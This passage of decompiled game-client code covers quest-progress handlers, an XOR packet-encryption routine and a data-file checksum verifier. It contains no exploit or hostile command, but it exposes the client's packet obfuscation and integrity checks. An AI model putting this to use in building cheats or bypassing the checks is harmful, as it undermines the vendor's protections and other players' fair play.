PLAYER_QUEST_STATUS v7; // eax@2 int v8; // ebp@12 unsigned __int16 v9; // bp@17 signed int kQuestStatusa; // [sp+10h] [bp+4h]@2 v3 = kQuestStatus; v4 = kQuestStatus->hID; v5 = this; kQuestStatus->eResultState = 0; kQuestStatus->lpQuestData = lpQuestData; result = CQuest::IsQuestNPCMob(this, lpQuestData, v4); if ( result ) { v7 = CQuest::GetNewQuestStatus(v5, lpQuestData); kQuestStatusa = v7; switch ( v7 ) { case 0: case 1: case 2: case 3: goto $L86923; case 4: case 7: if ( lpQuestData && lpQuestData->Start.bNPC && lpQuestData->Start.NPCID == v3->hID ) goto LABEL_23; return 0; case 5: if ( lpQuestData && lpQuestData->Start.bNPC && lpQuestData->Start.NPCID == v3->hID ) goto LABEL_23; return 0; case 6: v8 = v3->hID; if ( CQuest::IsConversationNPCMob(v5, lpQuestData, v3->hID) || lpQuestData && lpQuestData->Start.bNPC && lpQuestData->Start.NPCID == (_WORD)v8 ) goto LABEL_22; return 0; case 8: v9 = v3->hID; if ( v3->hID == CQuest::GetRewardNPC(v5, lpQuestData) ) goto LABEL_22; if ( lpQuestData && lpQuestData->Start.bNPC && lpQuestData->Start.NPCID == v9 ) { kQuestStatusa = 6; LABEL_22: v7 = kQuestStatusa; LABEL_23: v3->eResultState = v7; v3->nLevel = lpQuestData->Start.LevelMin; result = v7 != 0; } else { $L86923: result = 0; } break; default: goto LABEL_23; } } return result; } //----- (0056B470) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_NPCMobKill(CQuest *this, unsigned __int16 nMobID) { CQuest *v2; // edi@1 int v3; // ebx@1 int v4; // esi@3 QUEST_DATA *v5; // eax@5 int v6; // edx@6 signed int v7; // ebx@6 signed int v8; // ecx@10 unsigned __int8 v9; // al@11 int v10; // ebp@11 PLAYER_QUEST_STATUS v11; // eax@11 int result; // eax@20 int v13; // [sp+18h] [bp-14h]@6 int i; // [sp+1Ch] [bp-10h]@1 int v15; // [sp+20h] [bp-Ch]@2 QUEST_DATA *pQuestData; // [sp+24h] [bp-8h]@5 int bResult; // [sp+28h] [bp-4h]@1 v2 = this; v3 = 0; bResult = 0; i = 0; if ( this->m_NumOfQuest <= 0 ) { result = 0; } else { v15 = 0; do { v4 = (int)&v2->m_pQuestArray[v15]; if ( v4 ) { if ( *(_BYTE *)(v4 + 2) == 6 ) { v5 = CQuestData::GetQuestData(v2->m_pQuestData, *(_WORD *)v4); pQuestData = v5; if ( v5 ) { v6 = (int)&v5->End.NPCMobList[0].NPCMobID; v7 = 0; v13 = (int)&v5->End.NPCMobList[0].NPCMobID; do { if ( *(_BYTE *)(v6 - 2) == 1 ) { if ( *(_WORD *)v6 == nMobID ) { if ( *(_BYTE *)(v6 + 2) == 1 ) { v8 = *(_BYTE *)(v6 + 3); if ( *(_BYTE *)(v7 + v4 + 24) < v8 ) { v9 = *(_BYTE *)(v7 + v4 + 24) + 1; *(_BYTE *)(v7 + v4 + 24) = v9; bResult = 1; v2->vfptr->Occure_NPCMobKill(v2, *(_WORD *)v4, nMobID, v9, v8); v10 = *(_BYTE *)(v4 + 2); v11 = CQuest::DoingQuestUpdateStatus(v2, i); if ( v10 == 6 ) { if ( v11 == 8 ) { v2->vfptr->Occure_NewStatusReward(v2, (PLAYER_QUEST_INFO *)v4, pQuestData); } else { if ( v11 == 7 ) v2->vfptr->Occure_NewStatusFailed(v2, (PLAYER_QUEST_INFO *)v4, pQuestData); } } v6 = v13; } } } } ++v7; v6 += 6; v13 = v6; } while ( v7 < 5 ); v3 = i; } } } ++v3; i = v3; ++v15; } while ( v3 < v2->m_NumOfQuest ); result = bResult; } return result; } //----- (0056B5B0) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_TakeItem(CQuest *this, unsigned __int16 nItemID, unsigned __int16 nCurrentLot) { CQuest *v3; // esi@1 int v4; // ebx@1 int v5; // edi@3 QUEST_DATA *v6; // eax@5 int v7; // ebx@6 signed int v8; // ebp@9 int v9; // ebp@10 PLAYER_QUEST_STATUS v10; // eax@10 int result; // eax@18 int i; // [sp+18h] [bp-14h]@1 int v13; // [sp+1Ch] [bp-10h]@2 QUEST_DATA *pQuestData; // [sp+20h] [bp-Ch]@5 signed int v15; // [sp+24h] [bp-8h]@6 int bResult; // [sp+28h] [bp-4h]@1 v3 = this; v4 = 0; bResult = 0; i = 0; if ( this->m_NumOfQuest <= 0 ) { result = 0; } else { v13 = 0; do { v5 = (int)&v3->m_pQuestArray[v13]; if ( v5 ) { if ( *(_BYTE *)(v5 + 2) == 6 ) { v6 = CQuestData::GetQuestData(v3->m_pQuestData, *(_WORD *)v5); pQuestData = v6; if ( v6 ) { v7 = (int)&v6->End.ItemList[0].ItemID; v15 = 5; do { if ( *(_BYTE *)(v7 - 2) == 1 ) { if ( *(_WORD *)v7 == nItemID ) { v8 = *(_WORD *)(v7 + 2); v3->vfptr->Occure_TakeItem(v3, *(_WORD *)v5, nItemID, nCurrentLot, *(_WORD *)(v7 + 2)); if ( nCurrentLot <= v8 ) { v9 = *(_BYTE *)(v5 + 2); bResult = 1; v10 = CQuest::DoingQuestUpdateStatus(v3, i); if ( v9 == 6 ) { if ( v10 == 8 ) { v3->vfptr->Occure_NewStatusReward(v3, (PLAYER_QUEST_INFO *)v5, pQuestData); } else { if ( v10 == 7 ) v3->vfptr->Occure_NewStatusFailed(v3, (PLAYER_QUEST_INFO *)v5, pQuestData); } } } } } v7 += 6; --v15; } while ( v15 ); v4 = i; } } } ++v4; i = v4; ++v13; } while ( v4 < v3->m_NumOfQuest ); result = bResult; } return result; } //----- (0056B6D0) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_DestroyItem(CQuest *this, unsigned __int16 nItemID, unsigned __int16 nCurrentLot) { CQuest *v3; // esi@1 int v4; // ebx@1 int v5; // edi@3 QUEST_DATA *v6; // eax@4 int v7; // ebx@5 signed int v8; // ebp@8 int v9; // ebp@9 PLAYER_QUEST_STATUS v10; // eax@9 int result; // eax@17 int i; // [sp+18h] [bp-14h]@1 int v13; // [sp+1Ch] [bp-10h]@2 QUEST_DATA *pQuestData; // [sp+20h] [bp-Ch]@4 signed int v15; // [sp+24h] [bp-8h]@5 int bResult; // [sp+28h] [bp-4h]@1 v3 = this; v4 = 0; bResult = 0; i = 0; if ( this->m_NumOfQuest <= 0 ) { result = 0; } else { v13 = 0; do { v5 = (int)&v3->m_pQuestArray[v13]; if ( v5 ) { v6 = CQuestData::GetQuestData(v3->m_pQuestData, *(_WORD *)v5); pQuestData = v6; if ( v6 ) { v7 = (int)&v6->End.ItemList[0].ItemID; v15 = 5; do { if ( *(_BYTE *)(v7 - 2) == 1 ) { if ( *(_WORD *)v7 == nItemID ) { v8 = *(_WORD *)(v7 + 2); v3->vfptr->Occure_DestroyItem(v3, *(_WORD *)v5, nItemID, nCurrentLot, *(_WORD *)(v7 + 2)); if ( nCurrentLot < v8 ) { v9 = *(_BYTE *)(v5 + 2); bResult = 1; v10 = CQuest::DoingQuestUpdateStatus(v3, i); if ( v9 == 8 ) { if ( v10 == 6 ) { v3->vfptr->Occure_NewStatusIng(v3, (PLAYER_QUEST_INFO *)v5, pQuestData); } else { if ( v10 == 7 ) v3->vfptr->Occure_NewStatusFailed(v3, (PLAYER_QUEST_INFO *)v5, pQuestData); } } } } } v7 += 6; --v15; } while ( v15 ); v4 = i; } } ++v4; i = v4; ++v13; } while ( v4 < v3->m_NumOfQuest ); result = bResult; } return result; } //----- (0056B7F0) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_CheckLocation(CQuest *this) { CQuest *v1; // esi@1 CQuestVtbl *v2; // eax@1 int v3; // eax@1 int v4; // edi@3 QUEST_DATA *v5; // eax@5 QUEST_DATA *v6; // ebx@5 int v7; // ecx@10 CQuestVtbl *v8; // edx@10 int v9; // ebp@10 PLAYER_QUEST_STATUS v10; // eax@10 int v11; // eax@15 bool v12; // sf@15 unsigned __int8 v13; // of@15 int result; // eax@16 int i; // [sp+30h] [bp-18h]@1 int v16; // [sp+34h] [bp-14h]@2 int nLocation; // [sp+38h] [bp-10h]@1 int bResult; // [sp+3Ch] [bp-Ch]@1 unsigned int LocationY; // [sp+40h] [bp-8h]@1 unsigned int LocationX; // [sp+44h] [bp-4h]@1 v1 = this; v2 = this->vfptr; bResult = 0; ((void (__stdcall *)(int *, unsigned int *, unsigned int *))v2->GetPlayerCurrentLocation)( &nLocation, &LocationX, &LocationY); v3 = v1->m_NumOfQuest; i = 0; if ( v3 <= 0 ) { result = 0; } else { v16 = 0; if ( v3 <= 0 ) goto LABEL_15; do { v4 = (int)&v1->m_pQuestArray[v16]; if ( v4 ) { if ( *(_BYTE *)(v4 + 2) == 6 ) { v5 = CQuestData::GetQuestData(v1->m_pQuestData, *(_WORD *)v4); v6 = v5; if ( v5 ) { if ( v5->End.bLocation == 1 ) { if ( v5->End.Location == (_WORD)nLocation ) { if ( !(*(_BYTE *)(v4 + 29) & 1) ) { if ( v1->vfptr->IsQuestArea( v1, LocationX, LocationY, v5->End.LocationX, v5->End.LocationY, v5->End.LocationRange) ) { v7 = *(_WORD *)v4; *(_BYTE *)(v4 + 29) |= 1u; v8 = v1->vfptr; bResult = 1; v8->Occure_CheckLocation(v1, v7, nLocation); v9 = *(_BYTE *)(v4 + 2); v10 = CQuest::DoingQuestUpdateStatus(v1, i); if ( v9 == 6 ) { if ( v10 == 8 ) { v1->vfptr->Occure_NewStatusReward(v1, (PLAYER_QUEST_INFO *)v4, v6); } else { if ( v10 == 7 ) v1->vfptr->Occure_NewStatusFailed(v1, (PLAYER_QUEST_INFO *)v4, v6); } } } } } } } } } LABEL_15: v11 = v1->m_NumOfQuest; v13 = __OFSUB__(i + 1, v11); v12 = i++ + 1 - v11 < 0; ++v16; } while ( v12 ^ v13 ); result = bResult; } return result; } //----- (0056B940) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_ScenarioDone(CQuest *this, unsigned __int16 nScenarioID) { CQuest *v2; // edi@1 int v3; // ebx@1 int v4; // esi@3 QUEST_DATA *v5; // eax@5 char v6; // al@8 int v7; // ebp@9 PLAYER_QUEST_STATUS v8; // eax@9 int result; // eax@15 int v10; // [sp+10h] [bp-Ch]@2 QUEST_DATA *pQuestData; // [sp+14h] [bp-8h]@5 int bResult; // [sp+18h] [bp-4h]@1 v2 = this; v3 = 0; bResult = 0; if ( this->m_NumOfQuest <= 0 ) { result = 0; } else { v10 = 0; do { v4 = (int)&v2->m_pQuestArray[v10]; if ( v4 ) { if ( *(_BYTE *)(v4 + 2) == 6 ) { v5 = CQuestData::GetQuestData(v2->m_pQuestData, *(_WORD *)v4); pQuestData = v5; if ( v5 ) { if ( v5->End.bScenario == 1 ) { if ( v5->End.ScenarioID == nScenarioID ) { v6 = *(_BYTE *)(v4 + 29); if ( !(v6 & 2) ) { *(_BYTE *)(v4 + 29) = v6 | 2; bResult = 1; v2->vfptr->Occure_ScenarioDone(v2, *(_WORD *)v4, nScenarioID); v7 = *(_BYTE *)(v4 + 2); v8 = CQuest::DoingQuestUpdateStatus(v2, v3); if ( v7 == 6 ) { if ( v8 == 8 ) { v2->vfptr->Occure_NewStatusReward(v2, (PLAYER_QUEST_INFO *)v4, pQuestData); } else { if ( v8 == 7 ) v2->vfptr->Occure_NewStatusFailed(v2, (PLAYER_QUEST_INFO *)v4, pQuestData); } } } } } } } } ++v3; ++v10; } while ( v3 < v2->m_NumOfQuest ); result = bResult; } return result; } //----- (0056BA30) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_RaceChange(CQuest *this, char nRace) { CQuest *v2; // esi@1 int v3; // edi@3 QUEST_DATA *v4; // eax@5 QUEST_DATA *v5; // ebx@5 int v6; // ebp@8 PLAYER_QUEST_STATUS v7; // eax@8 int v8; // eax@13 bool v9; // sf@13 unsigned __int8 v10; // of@13 int result; // eax@14 int i; // [sp+10h] [bp-Ch]@1 int v13; // [sp+14h] [bp-8h]@2 int bResult; // [sp+18h] [bp-4h]@1 v2 = this; bResult = 0; i = 0; if ( this->m_NumOfQuest <= 0 ) { result = 0; } else { v13 = 0; do { v3 = (int)&v2->m_pQuestArray[v13]; if ( v3 ) { if ( *(_BYTE *)(v3 + 2) == 6 ) { v4 = CQuestData::GetQuestData(v2->m_pQuestData, *(_WORD *)v3); v5 = v4; if ( v4 ) { if ( v4->End.bRace == 1 ) { if ( v4->End.Race == nRace ) { bResult = 1; v2->vfptr->Occure_RaceChange(v2, *(_WORD *)v3, nRace); v6 = *(_BYTE *)(v3 + 2); v7 = CQuest::DoingQuestUpdateStatus(v2, i); if ( v6 == 6 ) { if ( v7 == 8 ) { v2->vfptr->Occure_NewStatusReward(v2, (PLAYER_QUEST_INFO *)v3, v5); } else { if ( v7 == 7 ) v2->vfptr->Occure_NewStatusFailed(v2, (PLAYER_QUEST_INFO *)v3, v5); } } } } } } } v8 = v2->m_NumOfQuest; v10 = __OFSUB__(i + 1, v8); v9 = i++ + 1 - v8 < 0; ++v13; } while ( v9 ^ v10 ); result = bResult; } return result; } //----- (0056BB10) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_ClassChange(CQuest *this, char nClass) { CQuest *v2; // esi@1 int v3; // edi@3 QUEST_DATA *v4; // eax@5 QUEST_DATA *v5; // ebx@5 int v6; // ebp@8 PLAYER_QUEST_STATUS v7; // eax@8 int v8; // eax@13 bool v9; // sf@13 unsigned __int8 v10; // of@13 int result; // eax@14 int i; // [sp+10h] [bp-Ch]@1 int v13; // [sp+14h] [bp-8h]@2 int bResult; // [sp+18h] [bp-4h]@1 v2 = this; bResult = 0; i = 0; if ( this->m_NumOfQuest <= 0 ) { result = 0; } else { v13 = 0; do { v3 = (int)&v2->m_pQuestArray[v13]; if ( v3 ) { if ( *(_BYTE *)(v3 + 2) == 6 ) { v4 = CQuestData::GetQuestData(v2->m_pQuestData, *(_WORD *)v3); v5 = v4; if ( v4 ) { if ( v4->End.bClass == 1 ) { if ( v4->End.Class == nClass ) { bResult = 1; v2->vfptr->Occure_ClassChange(v2, *(_WORD *)v3, nClass); v6 = *(_BYTE *)(v3 + 2); v7 = CQuest::DoingQuestUpdateStatus(v2, i); if ( v6 == 6 ) { if ( v7 == 8 ) { v2->vfptr->Occure_NewStatusReward(v2, (PLAYER_QUEST_INFO *)v3, v5); } else { if ( v7 == 7 ) v2->vfptr->Occure_NewStatusFailed(v2, (PLAYER_QUEST_INFO *)v3, v5); } } } } } } } v8 = v2->m_NumOfQuest; v10 = __OFSUB__(i + 1, v8); v9 = i++ + 1 - v8 < 0; ++v13; } while ( v9 ^ v10 ); result = bResult; } return result; } //----- (0056BBF0) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_TimeProcess(CQuest *this) { CQuest *v1; // esi@1 int v2; // eax@1 int result; // eax@2 int v4; // ecx@3 int v5; // ebx@3 int v6; // eax@3 int v7; // edi@7 QUEST_DATA *v8; // eax@9 QUEST_DATA *v9; // ebp@9 int v10; // eax@11 int v11; // eax@12 int v12; // ebx@12 PLAYER_QUEST_STATUS v13; // eax@12 int v14; // ecx@17 bool v15; // sf@17 unsigned __int8 v16; // of@17 int i; // [sp+14h] [bp-10h]@3 int v18; // [sp+18h] [bp-Ch]@4 int bResult; // [sp+1Ch] [bp-8h]@1 int PassedTime; // [sp+20h] [bp-4h]@3 v1 = this; bResult = 0; v2 = time(0); if ( v2 == v1->m_ProcessedTime ) { result = 0; } else { v4 = v1->m_NumOfQuest; v5 = (unsigned __int16)(LOWORD(v1->m_ProcessedTime) - v2); v1->m_ProcessedTime = v2; v6 = 0; i = 0; PassedTime = v5; if ( v4 > 0 ) { v18 = 0; while ( 1 ) { if ( v6 < v1->m_NumOfQuest ) { v7 = (int)&v1->m_pQuestArray[v18]; if ( v7 ) { if ( *(_BYTE *)(v7 + 2) == 6 ) { v8 = CQuestData::GetQuestData(v1->m_pQuestData, *(_WORD *)v7); v9 = v8; if ( v8 ) { if ( v8->End.bTimeLimit == 1 ) { v10 = *(_WORD *)(v7 + 30); if ( v9->End.TimeLimit >= (unsigned __int16)v10 ) { v11 = v5 + v10; *(_WORD *)(v7 + 30) = v11; bResult = 1; v1->vfptr->Occure_TimeProcess(v1, *(_WORD *)v7, v11, v9->End.TimeLimit); v12 = *(_BYTE *)(v7 + 2); v13 = CQuest::DoingQuestUpdateStatus(v1, i); if ( v12 == 6 ) { if ( v13 == 8 ) { v1->vfptr->Occure_NewStatusReward(v1, (PLAYER_QUEST_INFO *)v7, v9); } else { if ( v13 == 7 ) v1->vfptr->Occure_NewStatusFailed(v1, (PLAYER_QUEST_INFO *)v7, v9); } } } } } } } } v14 = v1->m_NumOfQuest; v6 = i + 1; v16 = __OFSUB__(i + 1, v14); v15 = i++ + 1 - v14 < 0; ++v18; if ( !(v15 ^ v16) ) break; v5 = PassedTime; } } result = bResult; } return result; } //----- (0056BD20) -------------------------------------------------------- void __thiscall CQuest::GetQuestStatusWithNPC(CQuest *this, CQuest::NPC_QUEST_STATUS *kQuestStatus) { CQuest::NPC_QUEST_STATUS *v2; // esi@1 PLAYER_QUEST_STATUS v3; // ebp@1 QUEST_DATA *v4; // ebx@1 signed int v5; // edi@1 unsigned int v6; // edx@1 CQuestData *v7; // ecx@2 QUEST_DATA_HEAD *v8; // eax@2 unsigned __int16 v9; // ax@3 QUEST_DATA *v10; // eax@6 QUEST_DATA *v11; // esi@6 signed int v12; // eax@14 unsigned int i; // [sp+10h] [bp-18h]@1 CQuest *thisa; // [sp+14h] [bp-14h]@1 CQuest::NPC_QUEST_STATUS TempQuestStatus; // [sp+18h] [bp-10h]@1 v2 = kQuestStatus; v3 = 0; v4 = 0; v5 = -1; v6 = 0; thisa = this; TempQuestStatus.hID = kQuestStatus->hID; i = 0; while ( 1 ) { v7 = thisa->m_pQuestData; v8 = v7->m_pDataHead; v9 = v8 ? v8->NumOfQuest : 0; if ( (signed int)v6 >= v9 ) break; v10 = CQuestData::GetQuestDataByIndex(v7, v6); v11 = v10; if ( !v10 || !CQuest::GetQuestStatusWithNPC(thisa, &TempQuestStatus, v10) ) goto LABEL_18; if ( TempQuestStatus.eResultState <= v3 ) { if ( TempQuestStatus.eResultState == v3 ) { if ( v11->Start.bLevel ) v12 = v11->Start.LevelMin; else v12 = -1; if ( v12 < v5 ) { v4 = v11; v5 = v12; } } LABEL_18: v2 = kQuestStatus; ++i; v6 = i; } else { v3 = TempQuestStatus.eResultState; v4 = v11; if ( v11->Start.bLevel ) { v5 = v11->Start.LevelMin; v2 = kQuestStatus; ++i; v6 = i; } else { v2 = kQuestStatus; v5 = -1; ++i; v6 = i; } } } v2->nLevel = v5; v2->eResultState = v3; v2->lpQuestData = v4; } //----- (0056BE10) -------------------------------------------------------- char *__thiscall PacketEncrypt::pe_FromClientToServer(PacketEncrypt *this, char *buf, int len) { int v3; // edx@1 char *result; // eax@5 v3 = 0; if ( len <= 0 ) { result = buf; } else { do { buf[v3] ^= PacketEncrypt::pe_encryptstr[this->pe_point++]; if ( this->pe_point >= 0x1F3u ) this->pe_point = 0; ++v3; } while ( v3 < len ); result = buf; } return result; } //----- (0056BE50) -------------------------------------------------------- char *__thiscall PacketEncrypt::pe_FromServerToClient(PacketEncrypt *this, char *buf, int len) { return buf; } //----- (0056BE60) -------------------------------------------------------- int __thiscall CShnDataFileCheckSum::__unnamed::__unnamed(int this) { int result; // eax@1 result = this; *(_DWORD *)(this + 29) = 0; *(_DWORD *)(this + 25) = 0; *(_DWORD *)(this + 21) = 0; *(_DWORD *)(this + 17) = 0; *(_DWORD *)(this + 13) = 0; *(_DWORD *)(this + 9) = 0; *(_DWORD *)(this + 5) = 0; *(_DWORD *)(this + 1) = 0; return result; } //----- (0056BE80) -------------------------------------------------------- void __thiscall CShnDataFileCheckSum::_CShnDataFileCheckSum(CShnDataFileCheckSum *this) { _eh_vector_destructor_iterator_( this->CheckSumData, 0x41u, 25, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0056BEA0) -------------------------------------------------------- char __thiscall CShnDataFileCheckSum::InitDataFileCheckSum(CShnDataFileCheckSum *this, const char *FileName, Name8 nCheckSum) { CShnDataFileCheckSum *v3; // ebx@1 const char *v4; // eax@1 const char v5; // cl@2 int v6; // eax@3 char v7; // cl@4 int v8; // edi@5 int i; // esi@5 char *v10; // eax@7 signed int v11; // edi@8 bool v12; // zf@8 bool v13; // sf@8 unsigned __int8 v14; // of@8 char result; // al@9 const char *v16; // ebp@11 int v17; // eax@21 char Token[4]; // [sp+10h] [bp-8Ch]@1 CShnDataFileCheckSum *Index; // [sp+14h] [bp-88h]@1 char FileNameBuff[128]; // [sp+18h] [bp-84h]@2 v3 = this; strcpy(Token, "/\\"); v4 = FileName; Index = this; Token[3] = 0; do { v5 = *v4; v4[FileNameBuff - FileName] = *v4; ++v4; } while ( v5 ); v6 = (int)FileNameBuff; do v7 = *(_BYTE *)v6++; while ( v7 ); v8 = v6 - (_DWORD)&FileNameBuff[1]; for ( i = 0; i < v8; ++i ) FileNameBuff[i] = tolower(FileNameBuff[i]); v10 = strtok(FileNameBuff, Token); if ( v10 ) { while ( 1 ) { v11 = 0; v16 = v3->CheckSumData[0].DataFileName; do { if ( !strcmp(v16, v10) ) break; ++v11; v16 += 65; } while ( v11 < 25 ); if ( v11 != 25 ) break; v10 = strtok(0, Token); if ( !v10 ) return 1; v3 = Index; } v3 = Index; v14 = __OFSUB__(v11, 25); v12 = v11 == 25; v13 = v11 - 25 < 0; } else { v11 = (signed int)Index; v14 = __OFSUB__(Index, 25); v12 = Index == (CShnDataFileCheckSum *)25; v13 = (signed int)((char *)Index - 25) < 0; if ( Index == (CShnDataFileCheckSum *)25 ) return 1; } if ( (unsigned __int8)(v13 ^ v14) | v12 && v11 >= 0 && v3->InitCheckSumCnt <= 25 ) { v17 = (int)((char *)v3 + 65 * v11); *(_QWORD *)(v17 + 5) = *(_QWORD *)&nCheckSum; *(_QWORD *)(v17 + 13) = *(_QWORD *)&nCheckSum.n8_name[8]; *(_QWORD *)(v17 + 21) = *(_QWORD *)&nCheckSum.n8_name[16]; *(_QWORD *)(v17 + 29) = *(_QWORD *)&nCheckSum.n8_name[24]; *(_BYTE *)(v17 + 4) = 1; ++v3->InitCheckSumCnt; result = 1; } else { result = 0; } return result; } //----- (0056C040) -------------------------------------------------------- int __thiscall CShnDataFileCheckSum::DataFileCheck(CShnDataFileCheckSum *this, Name8 *Data) { unsigned __int8 v2; // bl@1 int v3; // edx@2 int v4; // edi@2 int v5; // eax@2 int v6; // ebp@2 Name8 *v7; // eax@2 char *v8; // edx@2 v2 = 0; while ( 1 ) { v3 = v2; v4 = *(_DWORD *)&this->CheckSumData[v3].CheckSum.n8_name[0]; v5 = v2; v6 = *(_DWORD *)&Data[v5].n8_name[0]; v7 = &Data[v5]; v8 = (char *)&this->CheckSumData[v3].CheckSum; if ( v4 != v6 ) break; if ( *((_DWORD *)v8 + 1) != *(_DWORD *)&v7->n8_name[4] || *((_DWORD *)v8 + 2) != *(_DWORD *)&v7->n8_name[8] || *((_DWORD *)v8 + 3) != *(_DWORD *)&v7->n8_name[12] || *((_DWORD *)v8 + 4) != *(_DWORD *)&v7->n8_name[16] || *((_DWORD *)v8 + 5) != *(_DWORD *)&v7->n8_name[20] || *((_DWORD *)v8 + 6) != *(_DWORD *)&v7->n8_name[24] || *((_DWORD *)v8 + 7) != *(_DWORD *)&v7->n8_name[28] ) break; ++v2; if ( v2 >= 0x19u ) return -1; } return v2; } //----- (0056C0C0) -------------------------------------------------------- Name8 *__thiscall CShnDataFileCheckSum::GetDataFileCheckSum(CShnDataFileCheckSum *this, SHN_DATA_FILE_INDEX Index) { Name8 *result; // eax@3 if ( (signed int)Index < 0 || (signed int)Index >= 25 ) result = 0; else result = &this->CheckSumData[Index].CheckSum; return result; } //----- (0056C0E0) -------------------------------------------------------- char __thiscall CShnDataFileCheckSum::isFileLoadAllComplete(CShnDataFileCheckSum *this) { return this->InitCheckSumCnt == 25; } //----- (0056C0F0) -------------------------------------------------------- char *__thiscall CShnDataFileCheckSum::NotLoadFileName(CShnDataFileCheckSum *this) { signed int v1; // eax@1 char *v2; // edx@1 v1 = 0; v2 = (char *)this->CheckSumData; while ( *v2 ) { ++v1; v2 += 65; if ( v1 >= 25 ) return 0; } return this->CheckSumData[v1].DataFileName; } //----- (0056C110) -------------------------------------------------------- char *__thiscall CShnDataFileCheckSum::GetDataFileName(CShnDataFileCheckSum *this, SHN_DATA_FILE_INDEX Index) { char *result; // eax@3 if ( (signed int)Index < 0 || (signed int)Index >= 25 ) result = 0; else result = this->CheckSumData[Index].DataFileName; return result; } //----- (0056C130) -------------------------------------------------------- void __thiscall CShnDataFileCheckSum::CShnDataFileCheckSum(CShnDataFileCheckSum *this) { CShnDataFileCheckSum *v1; // ebx@1 char *v2; // esi@1 char *v3; // eax@1 signed int v4; // ecx@1 int v5; // ebp@3 int v6; // eax@4 int v7; // edx@4 char v8; // cl@5 int v9; // edi@6 int i; // esi@6 signed int v11; // [sp+10h] [bp-4h]@3 v1 = this; v2 = (char *)this->CheckSumData; _eh_vector_constructor_iterator_( this->CheckSumData, 0x41u, 25, (void (__thiscall *)(void *))CShnDataFileCheckSum::__unnamed::__unnamed, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->InitCheckSumCnt = 0; v3 = v2; v4 = 25; do { *v3 = 0; v3 += 65; --v4; } while ( v4 ); v5 = (int)v1->CheckSumData[0].DataFileName; *(_DWORD *)&v1->CheckSumData[0].DataFileName[0] = *(_DWORD *)"Abstate.shn"; *(_DWORD *)&v1->CheckSumData[0].DataFileName[4] = *(_DWORD *)"ate.shn"; *(_DWORD *)&v1->CheckSumData[0].DataFileName[8] = *(_DWORD *)"shn"; *(_DWORD *)&v1->CheckSumData[1].DataFileName[0] = *(_DWORD *)"ActiveSkill.shn"; *(_DWORD *)&v1->CheckSumData[1].DataFileName[4] = *(_DWORD *)"veSkill.shn"; *(_DWORD *)&v1->CheckSumData[1].DataFileName[8] = *(_DWORD *)"ill.shn"; *(_DWORD *)&v1->CheckSumData[1].DataFileName[12] = *(_DWORD *)"shn"; memcpy(v1->CheckSumData[2].DataFileName, "CharacterTitleData.shn", 0x17u); *(_DWORD *)&v1->CheckSumData[3].DataFileName[0] = *(_DWORD *)"ChargedEffect.shn"; *(_DWORD *)&v1->CheckSumData[3].DataFileName[4] = *(_DWORD *)"gedEffect.shn"; *(_DWORD *)&v1->CheckSumData[3].DataFileName[8] = *(_DWORD *)"ffect.shn"; *(_DWORD *)&v1->CheckSumData[3].DataFileName[12] = *(_DWORD *)"t.shn"; *(_WORD *)&v1->CheckSumData[3].DataFileName[16] = *(_WORD *)"n"; *(_DWORD *)&v1->CheckSumData[4].DataFileName[0] = *(_DWORD *)"ClassName.shn"; *(_DWORD *)&v1->CheckSumData[4].DataFileName[4] = *(_DWORD *)"sName.shn"; *(_DWORD *)&v1->CheckSumData[4].DataFileName[8] = *(_DWORD *)"e.shn"; *(_WORD *)&v1->CheckSumData[4].DataFileName[12] = *(_WORD *)"n"; *(_DWORD *)&v1->CheckSumData[5].DataFileName[0] = *(_DWORD *)"Gather.shn"; *(_DWORD *)&v1->CheckSumData[5].DataFileName[4] = *(_DWORD *)"er.shn"; *(_WORD *)&v1->CheckSumData[5].DataFileName[8] = *(_WORD *)"hn"; v1->CheckSumData[5].DataFileName[10] = aGather_shn[10]; *(_DWORD *)&v1->CheckSumData[6].DataFileName[0] = *(_DWORD *)"GradeItemOption.shn"; *(_DWORD *)&v1->CheckSumData[6].DataFileName[4] = *(_DWORD *)"eItemOption.shn"; *(_DWORD *)&v1->CheckSumData[6].DataFileName[8] = *(_DWORD *)"mOption.shn"; *(_DWORD *)&v1->CheckSumData[6].DataFileName[12] = *(_DWORD *)"ion.shn"; *(_DWORD *)&v1->CheckSumData[6].DataFileName[16] = *(_DWORD *)"shn"; *(_DWORD *)&v1->CheckSumData[7].DataFileName[0] = *(_DWORD *)"ItemDismantle.shn"; *(_DWORD *)&v1->CheckSumData[7].DataFileName[4] = *(_DWORD *)"Dismantle.shn"; *(_DWORD *)&v1->CheckSumData[7].DataFileName[8] = *(_DWORD *)"antle.shn"; *(_DWORD *)&v1->CheckSumData[7].DataFileName[12] = *(_DWORD *)"e.shn"; *(_WORD *)&v1->CheckSumData[7].DataFileName[16] = *(_WORD *)"n"; *(_DWORD *)&v1->CheckSumData[8].DataFileName[0] = *(_DWORD *)"ItemInfo.shn"; *(_DWORD *)&v1->CheckSumData[8].DataFileName[4] = *(_DWORD *)"Info.shn"; *(_DWORD *)&v1->CheckSumData[8].DataFileName[8] = *(_DWORD *)".shn"; v1->CheckSumData[8].DataFileName[12] = aIteminfo_shn[12]; *(_DWORD *)&v1->CheckSumData[9].DataFileName[0] = *(_DWORD *)"MapInfo.shn"; *(_DWORD *)&v1->CheckSumData[9].DataFileName[4] = *(_DWORD *)"nfo.shn"; *(_DWORD *)&v1->CheckSumData[9].DataFileName[8] = *(_DWORD *)"shn"; *(_DWORD *)&v1->CheckSumData[10].DataFileName[0] = *(_DWORD *)"MiniHouse.shn"; *(_DWORD *)&v1->CheckSumData[10].DataFileName[4] = *(_DWORD *)"House.shn"; *(_DWORD *)&v1->CheckSumData[10].DataFileName[8] = *(_DWORD *)"e.shn"; *(_WORD *)&v1->CheckSumData[10].DataFileName[12] = *(_WORD *)"n"; memcpy(v1->CheckSumData[11].DataFileName, "MiniHouseFurniture.shn", 0x17u); *(_DWORD *)&v1->CheckSumData[12].DataFileName[0] = *(_DWORD *)"MiniHouseObjAni.shn"; *(_DWORD *)&v1->CheckSumData[12].DataFileName[4] = *(_DWORD *)"HouseObjAni.shn"; *(_DWORD 